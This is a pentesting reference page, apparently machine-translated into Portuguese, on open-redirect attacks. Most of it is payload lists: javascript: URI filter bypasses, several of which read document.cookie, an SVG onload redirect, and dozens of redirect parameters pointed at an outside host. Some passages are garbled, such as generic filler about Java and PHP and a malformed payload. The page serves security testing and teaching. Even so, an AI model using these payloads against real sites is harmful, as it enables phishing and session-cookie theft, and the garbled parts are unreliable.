hacktricks/pentesting-web/open-redirect.md
2023-06-06 18:56:34 +00:00

10 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Redirecionamento aberto

Redirecionamento para localhost ou domínios arbitrários

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Redirecionamento aberto para XSS

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Redirecionamento Aberto ao carregar arquivos svg

Um redirecionamento aberto ocorre quando um aplicativo da web permite que um usuário especifique um URL de destino que redireciona o usuário após uma ação bem-sucedida. Se o aplicativo não validar adequadamente o URL de destino, um invasor pode fornecer um URL malicioso que redireciona o usuário para um site de phishing ou malware.

Uma técnica comum para explorar vulnerabilidades de redirecionamento aberto é carregar um arquivo SVG malicioso que contém um script que redireciona o usuário para um site malicioso. O arquivo SVG pode ser carregado em um campo de entrada que aceita arquivos de imagem, como um avatar de usuário ou um logotipo de empresa.

Para evitar essa vulnerabilidade, é importante validar cuidadosamente todos os URLs de destino e restringir o redirecionamento apenas a URLs confiáveis. Além disso, é importante limitar os tipos de arquivos que podem ser carregados em campos de entrada de imagem e garantir que todos os arquivos sejam verificados em busca de conteúdo malicioso antes de serem exibidos ou armazenados.

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Parâmetros comuns de injeção

Descrição

Os parâmetros de injeção são usados para redirecionar o usuário para uma página externa, geralmente maliciosa, que pode roubar informações ou instalar malware no dispositivo do usuário. Os invasores podem explorar vulnerabilidades em aplicativos da web para manipular os parâmetros de redirecionamento e enganar os usuários para que cliquem em um link que parece legítimo, mas na verdade é malicioso.

Exemplos de parâmetros de injeção

  • url
  • redirect
  • return
  • returnTo
  • rurl
  • dest
  • destination
  • redir
  • redirect_uri
  • redirect_url
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Exemplos de código

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

Java é uma linguagem de programação popular usada para desenvolver aplicativos em várias plataformas. É uma linguagem orientada a objetos e é conhecida por sua portabilidade, o que significa que os programas escritos em Java podem ser executados em diferentes sistemas operacionais sem a necessidade de recompilação. O Java é usado em muitos aplicativos da web e é uma das linguagens mais populares para desenvolvimento de aplicativos Android.

response.redirect("http://mysafedomain.com");

PHP

PHP é uma linguagem de programação popularmente usada para desenvolvimento web. É frequentemente usada em conjunto com bancos de dados para criar aplicativos dinâmicos e interativos. No entanto, como qualquer linguagem de programação, o PHP também tem suas vulnerabilidades. É importante estar ciente dessas vulnerabilidades ao desenvolver aplicativos em PHP e ao realizar testes de penetração em aplicativos PHP. Algumas das vulnerabilidades comuns em PHP incluem injeção de SQL, cross-site scripting (XSS) e inclusão de arquivos locais.

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Ferramentas

Recursos

Em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect você pode encontrar listas de fuzzing.
https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
https://github.com/cujanovic/Open-Redirect-Payloads

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥